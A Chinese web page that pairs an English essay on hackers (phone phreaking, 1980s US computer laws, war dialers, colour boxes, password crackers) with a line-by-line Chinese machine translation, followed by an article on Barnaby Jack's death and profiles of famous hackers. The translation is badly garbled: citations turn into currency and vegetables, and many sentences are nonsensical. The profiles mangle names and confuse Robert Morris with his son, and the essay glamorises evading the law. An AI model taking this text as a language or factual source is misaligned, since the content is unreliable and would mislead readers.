on the telephone system.关于电话系统. Phone numbers can be changed.电话号码是可以改变的. The type of phone that a phone number has can be changed; i.e. a regular house phone can be changed into a pay phone.一类电话,电话号码也可以改变;即定期楼电话可改为公用电话. When a person tries to dial out, they get a request for money.当一个人试图打电话,请求他们的钱. Many things can happen by hacking into a telephone company (74).很多事情是会发生的黑客变成电话公司(74). Being a rebel, and knowingly doing something that is wrong, is just the kind of thing that hackers do.身为叛军,做一些明知是错,只是这样的事做黑客. The adrenaline rush that comes with doing something totally against the law, and knowingly doing so, is very intense.面对着匆匆的肾上腺素做一些完全违背法律,故意这样做,是十分尖锐. Hackers enjoy this feeling and get addicted to it.黑客享受这种感觉,得到上瘾. It is a great feeling that a hacker gets when they do this and this is why they are addicted (Vegetable 4).这是一个伟大的感觉,当他们得到这样骇客这就是为什么他们上瘾(蔬菜4). Hackers have to avoid the law.黑客避免法律. What they are doing is very illegal.他做什么是很违法的. The United States government passed the Computer Fraud and Abuse act in 1986.美国政府通过1986年计算机欺诈和滥用行为. This law states that one can't intentionally break into a computer system, and then it gives the consequences of such an act.这部法律规定,不能故意闯进计算机系统然后让这种行为的后果. This was a follow-up law to the Electronic Communications Privacy Act of 1986.这是一次后续的电子通讯隐私法的行为1986. This law "outlawed the unauthorized interception of digital communications" (Sterling 195).本法"取缔擅自截取数字通信"(195英镑). These laws really haven't done much to prevent hackers from hacking.这些法律确实做得很大,防止骇客入侵. They most likely have decreased the number of hackers though.他们最有可能黑客人数虽然有所下降. Young hackers may have been scared about getting caught, so they didn't go into年轻黑客可能已陷入愈来愈害怕,所以他们并不进去

the hacking industry.黑客业. There is a plus side to these laws, but hackers don't see it that way (190).这是加方法,但看不出有这样的黑客(190). Hackers do have consequences because of the laws that the government has passed, but not many of them.黑客是有规律的后果,因为政府已经通过,但是并不多. Most hackers are good enough to cover their backs, and their trails, and their phone calls.黑客最足以弥补其背部,其路径,其电话. If a hacker is caught, he can face a long time in jail.如果骇客捉到,他能够面对长期坐牢. Unfortunately, this usually this doesn't happen.可惜,这通常不会发生. A hacker covers his tracks so good, that there isn't much evidence to convict them.黑客涵盖他的轨迹是那么好,没有什么大的证据定罪. So hackers get off with a little jail time, and a little probation.这么一个小客下车坐牢时间,有点感化. The system isn't fair for the people who want to catch the hackers.该系统是不公平的人想赶上黑客. Until someone develops a hack-proof system, hackers are still going to use all of their resources to hack into the system (Sterling 193).直到有人开发了砍不入系统黑客仍在使用的所有资源,砍进系统(193英镑). The hacker has resources or tools, to perform different tasks.黑客已经或资源工具,分别担任不同的任务. A hacking tool will help a hacker hack.一名黑客入侵工具,有助砍. It takes some of the grunt work out of hacking.需部分的咕噜出黑客. Some of the different tools used are: war dialers, [all-color] boxes, and many different password crackers.一些不同的工具有:战争拨号、[全彩色]箱、饼干许多不同的密码. A war dialer is a program that will call a given list of numbers, and will record which of those numbers have modem, faxes, or any other computerized communication device hooked up to the line.战计画将是拨号电话号码清单给,而这些数字都将记录调制解调器,传真机,还是有其他的电脑通讯装置连接线. Each of the different boxes does something different.每一个不同的盒子也不同. The basic idea behind the boxes, is to issue an audible tone that switches the phone lines to re-route calls.基本理念盒子,发出声响的口气,在电话交换机线路的行车路线电话. There is a password cracker for every kind of password available.有一个口令密码裂解每种刊物. The name is self-explanatory, but a password cracker is a program that runs through every possible名字是自明的,但饼干是一个口令一个节目贯穿一切

combination of letters until it finds the right password; assuming of course the password cracker is a sophisticated one.组合直到找到正确的密码信件;假设当然是一个成熟的一个密码饼干. Every major hacker develops his or her pseudonym, or nick-name.他或她的每一次重大发展骇客化名或花名. It is thought up of by themselves or another hacker, but reflects something major that they have done.它想出了由自己或另一音译,但它们主要反映了辛劳. For instance, the hacker Captain Crunch, got his name because he was able to re-route long-distance phone calls with a whistle the he got free from a box of Captain Crunch cereal.例如,骇客上尉紧缩,得到他的名字,因为他能够重新路长途电话与他的哨子免于一盒上尉紧缩谷物. Without nick-names, a hacker wouldn't be complete (Vegetable 2) Hackers also need to hide some of the tools that they use.无诨名黑客不会完成(蔬菜2)黑客还需要一些工具,他们躲在使用. Tools such as the different color boxes.不同颜色盒等工具. If a federal agent broke into a hacker's house or apartment and found a blue box and knew what the box did, then a hacker could be sent to jail or put on probation.如果骇客侵入联邦代理的房子或公寓时,发现一个蓝色的盒子,盒子也知道,然后黑客可判监或被判感化. Hackers hide all of their tools in safe places, and hopefully un-findable places.所有的黑客工具隐藏在安全的地方,并希望联合国人真是名额. They do this to save themselves when the police or federal agents attempt to gain evidence against them (Sterling 175) Even with all of the laws that the government has passed hackers have yet to be stopped and brought to justice.他们这样做是为了救自己当警察或联邦特工企图取得证据指控他们(175英镑)的所有法律,即使政府已经通过黑客尚未得到遏制,绳之以法. The more time that the government takes to find a way to stop hackers, gives the hackers more time to increase their knowledge and skill in the area of hacking.当时政府采取更要想办法阻止黑客给黑客更多的时间,增加他们的知识和技能方面的黑客. If the government doesn't hurry up, they are going to get buried by hackers, and when that happens, the world will not be a fun place to live in.如果政府不抓紧时间,他们将得到黑客掩埋,到那时,世界不会开心安居

"全球最牛"黑客暴毙,著名黑客有哪些?

【"全球最牛"黑客暴毙】

现年35岁的美国著名黑客巴纳拜·杰克(见图)在2010年“黑帽”黑客会议上利用他独创黑客技术令自动提款机狂吐钞票,一跃成为全球最牛的“明星黑客”。而他本打算在7月31日开幕的2013年“黑帽”黑客会议上,展示一项更为惊人的黑客绝技——遥控杀人。然而蹊跷的是,7月25日,就在这项“黑客绝技”曝光前夕,杰克突然在美国旧金山神秘死亡!

据报道,巴纳拜·杰克是一名出生于新西兰的黑客、程序员和计算机安全专家。他曾花了2年时间研究如何破解自动提款机。2010年7月28日,在美国拉斯维加斯举行的一年一度的“黑帽”黑客会议上,杰克将2台ATM搬到“黑帽”会场上,他刚一执行破解程序,自动提款机便不断吐出钞票,在地上堆成一座小山!这段“提款机破解秀”堪称2010年“黑帽”黑客会议上最为轰动的精彩好戏。

时隔整整3年之后,身为“明星黑客”的杰克重出江湖,打算在7月31日开幕的“黑帽”黑客会议上,展示一项更为惊人的“黑客绝技”——在9米之外入侵植入式心脏起搏器等无线医疗装置,然后向其发出一系列830V高压电击,从而令“遥控杀人”成为现实!杰克声称,他已经发现了多家厂商生产的心脏起搏器的安全漏洞。

由于美国警方拒绝透露杰克死亡细节,杰克的死引发了各种疯狂阴谋论——有阴谋论者指出,杰克最新针对医疗设备的“遥控杀人”技术不仅会对公众的生活安全构成威胁,也将令生产这些存在漏洞的医疗设备的厂商的名誉和经济利益遭到重创,不排除杰克因此惹火烧身,招来杀身之祸。

   黑客最早源自英文hacker,早期在美国的电脑界是带有褒义的。但在媒体报道中,黑客一词往往指那些“软件骇客”(software cracker)。

   黑客一词,原指热心于计算机技术,水平高超的电脑专家,尤其是程序设计人员。但到了今天,黑客一词已被用于泛指那些专门利用电脑网络搞破坏或恶作剧的家伙。对这些人的正确英文叫法是Cracker,有人翻译成“骇客”,在中国,很多网友将黑客与骇客区分为一类,实际为错误区分。

【世界著名黑客有哪些?】

1、 【Kevin Mitnick】:

Mitnick也许就是黑客的代名词。美国司法部仍然指责他为“美国历史上头号电脑犯罪通缉犯”。他的所作所为被记录在两部好莱坞电影当中:《Takedown》和《Freedom Downtime》。-

 Mitnick“事业”的起点是成功的破解了洛杉矶公交车打卡系统,并因此可以免费乘坐。然后和苹果的Steve Wozniak一样,Mitnick开始尝试盗打电话。Mitnick第一次被判有罪,是因为进入数码设备公司的电脑网络并且窃取软件。

稍后Mitnick开始了两年半的黑客行为,他声称自己侵入电脑、穿行于电话网络,窃取公司的秘密,并且进入了国防部的预警系统。他的落马源于其入侵电脑专家和黑客 Tsutomu Shimomura的家用电脑。

     在五年零八个月的监禁之后,Mitnick现在的身份是一个电脑安全专家、顾问。

2、【Adrian Lamo】

Lamo专门找大的组织下手,例如破解进入微软和《纽约时报》。Lamo喜欢使用咖啡店、Kinko店或者图书馆的网络来进行他的黑客行为,因此得了一个诨号:不回家的黑客。Lamo经常发现安全漏洞,并加以利用。通常他会告知企业相关的漏洞。

在Lamo攻击过的名单上包括,雅虎、花旗银行,美洲银行和Cingular等,白帽黑客这么干是合法的,因为他们受雇于公司,但是Lamo这么做却是犯法的。

由于侵入《纽约时报》内部网络,Lamo成为顶尖的数码罪犯之一。也正是由于这一罪行,Lamo被处以65000美元的罚款,并被处以六个月的家庭禁闭和两年的缓刑。

3、【 Jonathan James】

16岁的时候James就已经恶名远播,因为他成为了第一个因为黑客行径被捕入狱的未成年人。他稍后承认自己喜欢开玩笑、四处闲逛和迎接挑战。

James攻击过的高度机密组织包括:国防威胁降低局,这是国防部的一个机构。他的入侵使其获得了可以浏览高度机密邮件的用户名和密码。

在James的“功劳簿”上,他还进入侵过NASA的电脑,并且窃取了价值超过170万美元的软件。美国司法部有这样的一段描述:James窃取的软件可以支持国际空间站的物理环境,包括温度和湿度控制。发现这次入侵之后,NASA不得不立刻关闭了整个电脑系统,造成的损失达到41000美元。现在James立志开办一家电脑安全公司。

4、【Robert Tappan Morrisgeek】莫里斯

.

Morris的父亲是前美国国家安全局的一名科学家,叫做Robert Morris。Robert是Morris蠕虫病毒的创造者,这一病毒被认为是首个通过互联网传播的蠕虫病毒。也正是如此,他成为了首个被以1986年电脑欺骗和滥用法案起诉的人。

Morris在康奈尔大学上学期间,创造的蠕虫病毒是为了探究当时的互联网究竟有多大。然而,这个病毒以无法控制的方式进行复制,造成很多电脑的死机。专家声称有6000台电脑被毁。Morris最后被判处3年缓刑,400小时的社区服务和10500美元的罚金。

Morris现在担任麻省理工电脑科学和人工智能实验室的教授,其研究方向是电脑网络的架构。

5、【Kevin Poulsen极客】

他的另一个经常被提及的名字是Dark Dante,Poulsen受到广泛关注是因为他采用黑客手段进入洛杉矶电台的KIIS-FM电话线,这一举动为他赢得了一辆保时捷。

此后FBI开始追查Poulson,因为他闯入了FBI的数据库和用于敏感窃听的联邦电脑系统。Poulsen的专长就是闯入电话线,他经常占据一个基站的全部电话线路。Poulson还会重新激活黄页上的电话,并提供给自己的伙伴进行出售。Poulson留下了很多未解之谜,最后在一家超市被捕,判处以五年监禁。

在狱中,Poulson干起了记者的行当,并且被推举为Wired News的高级编辑。在他最出名的文章里面,详细的通过比对Myspace的档案,识别出了744名性罪犯。

6、【李纳斯·托瓦兹】

   Linux这部史诗发端于赫尔辛基。似乎天下的黑客都在为自己的生命创作源程序。李纳斯也不例外,他的家就

   在离市中心不远的Kalevagatan(与卡勒瓦拉很相近)大街。这是一个19世纪的建筑与现代化平房交相呼应的地方。李纳斯与妻子住在这里。他的家很像是大学生的集体宿舍,楼梯下总放着一排排自行车。

李纳斯本人看起来就像一名学生,而不像道士。他中等身材,浅褐色头发,蓝眼睛,目光透过镜片直直地射向你,只有浓密的眉毛是黑色的,衬着一张孩子气的脸庞。他的房间四周排列着许多书籍,里面布满了油画和各种装饰品,相当低廉的窗帘,两把扶手椅之间挂着发干的鳄鱼皮,房间里还有两只目空一切的猫和几台计算机:三台PC,一台Power Mac,还有三台从DEC借来的基于Alpha芯片的微机。它们不起眼地布置在房间的角落中。另外一样很有意思的东西不易察觉:那是一根将计算机连到的专线,由当地的一家ISP安装并承担费用,它是对这位Linux道士的象征性奖励。

7、【尼亚克】  斯蒂夫·盖瑞·沃兹尼亚克

    在硅谷,一个人要赢得好名声远比赢得大把的钱财要困难得多。因为财富是声名鹊起的基本条件。而要赢得

    财富,就必须勾心斗角、逐利而去。因此无论是苹果的乔布斯、Oracle的埃里森还是英特尔的葛鲁夫,都只能在当地获得毁誉参半的名声。但是,如果在硅谷还有唯一一位大家公认的“好人”,那么这个人肯定非沃兹莫属。

    这位当年的技术天才,淡泊名利,性格纯朴,早早离开了热闹的中心。这也注定了他必然与计算机业沿着不同的路线,书写各自的历史。昔日的战友乔布斯又在叱咤风云,而他则过着自己安静的生活。

8、【汤普生】

    不可思议的是,当初这个操作系统的诞生,并不是为了把它推向市场,甚至不是为了让更多人使用,而仅仅是作者为了便于自己使用,而且初衷是为了自己更方便地玩游戏。连Unix这个别扭的名字,也是对早期一个名为Multics操作系统开玩笑的称呼。在后来的获奖答谢中,作者之一的丹尼斯·里奇坦然说:“我们的目的是为自己建立一个良好的计算机工作环境,当然也希望大家都能喜欢它”。

然而,在这不经意间,奇迹诞生了,再一次验证了IT业的创新往往是兴趣,而不是大把大把的金钱使然。

    经过10年的内部使用,于70年代中期开始。Unix第一次公诸于世,就慢慢走向成功,震动整个计算机业。1969年开始工作时,里奇和汤普生根本没有想过要掀起业界的狂热,在1974年以前,他们甚至没有发表过任何关于项目的消息。而当Unix露面时,他们还惊奇于会引起如此大的兴趣。他们并没有积极推销,大学、研究机构可以免费使用,而且还提供源代码。

     主要成就:贝尔实验室著名的计算机科学工作组的创造力的推进剂。里奇和汤普森在1969年创造了UNⅨ,UNⅨ是小型机上的一个一流的开放操作系统,它能帮助用户完成普通计算、文字处理、联网,很快成为一个标准的语言。

     鲜为人知的事实:由汤普森和他的贝尔实验室的同事罗布·派克(Rob Pike)创造的Plan 9,是由UNIX衍生的下一代操作系统

9、【理查德】理查德·马修·斯托曼

     主要成就:老牌黑客。1971年,斯托曼在街上找到一份MIT的人工智能实验室的工作。当时他是哈佛大学的一名本科生。后来,斯托曼创立了自由软件基金,打破了软件是私有财产的概念。理查德·马修·斯托曼

      第一次接触计算机:1969年在IBM纽约科学中心,时值16岁。自己独特的黑客工具:在上世纪80年代,斯托曼不拿MIT的薪水但继续在其中的一个办公室工作。在那里他创造了一个新的操作系统GNU--GNU是"GNU’s Not Unix"的缩写。

10、【德拉浦】  约翰·德拉浦

     主要成就,发现了使用(“嘎吱嘎吱船长”牌的)麦片盒里作为奖品的哨子(向电话话筒吹声)可以免费打(长途)电话。Cap’n Crunch给几代黑客引入了“盗用电话线路”打(长途)电话的辉煌思想。约翰·德拉浦

   第一次接触计算机:青少年时期,试图使投币式公用电话确信得到他的硬币和接通他的电话。

自己独特的工具:嘎吱嘎

11、【雷蒙德】  埃里克.雷蒙德

     任何一场革命或者运动都需要一个理论家,需要一份纲领性的文献,起到真正埃里克.雷蒙德的“画龙点睛”的神效。除了架构极具思辨力和逻辑性的理论体系,更需要激发起人们对美好理想的向往,为同行者的士气传递极具煽动性的烈焰。这场正在颠覆软件业传统商业模式的自由软件运动也不例外。自由软件精神领袖当然是理查德·斯托尔曼(Richard Stallman),但他太超凡脱俗,而且,除了提出核心理念外,斯托尔曼缺乏著书立作的能力。这些局限,使得埃里克·雷蒙德(Eric S Raymond)脱颖而出,担当了这个角色。如今,他已经成为开放源代码运动(脱胎于自由软件运动)和黑客文化的第一理论家,不可动摇。

     雷蒙的策略获得了很大的成功。一般认为,1998年Mozilla的发布主要归功于他。大多数黑客和主流观察家也同意,正是雷蒙将开放源代码的理念成功地带到了华尔街。但是也有批评他的声音:有一些黑客认为他利用这些机会为自己打广告,而他对理查德·斯托曼和自由软件基金会的理想主义所进行的批评,以及所采取的更务实、更符合市场口味的线路,也曾经在黑客社群里掀起了不小的政治对立。

12、【朱利安·阿桑奇】

     被称为“黑客罗宾汉”,作为“维基解密”的创始人,朱利安·阿桑奇认为,透露公共治理机构的秘密文件和信息,对大众来说是件有益的事。

     9万多份驻阿美军秘密文件的泄密让他足以成为创造历史的人物。39岁(2010年)的阿桑奇,因涉嫌在瑞典强奸及性侵犯2名女性,被通缉,2010年12月7日他向伦敦警方自首,随即被押送到威斯敏斯特地方法院出席引渡聆讯,保释申请被驳回。

    2012年8月16日,阿桑奇获厄瓜多尔政治庇护。

13、【卡普尔】

     1971年,卡普尔从耶鲁大学毕业。在校期间,他专修心理学、语言学以及计算机学科。也就是在这时他开始

     对计算机萌生兴趣。他继续到研究生院深造。20世纪60年代,退学是许多人的一个选择。只靠知识的皮毛,你也能过日子。那些年里,卡普尔1年可以挣1.2万美元。他漫无目标地在游荡,正如他后来描绘自己这一时期的生活时所说,他成了一个“有知识的吉普赛人”。

参考地址推荐阅读:

【中国日报网】

【中国时刻网】

【华讯财经】

【百度百科】

  • 评论列表:
  •  性许槿畔
     发布于 2022-07-01 05:59:33  回复该评论
  • 性设为普通 else fwrite(" ",sizeof(char),1,fp); file://失败则写入空格 if (attrib FA_DIREC) fwrite(" DIR ",

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.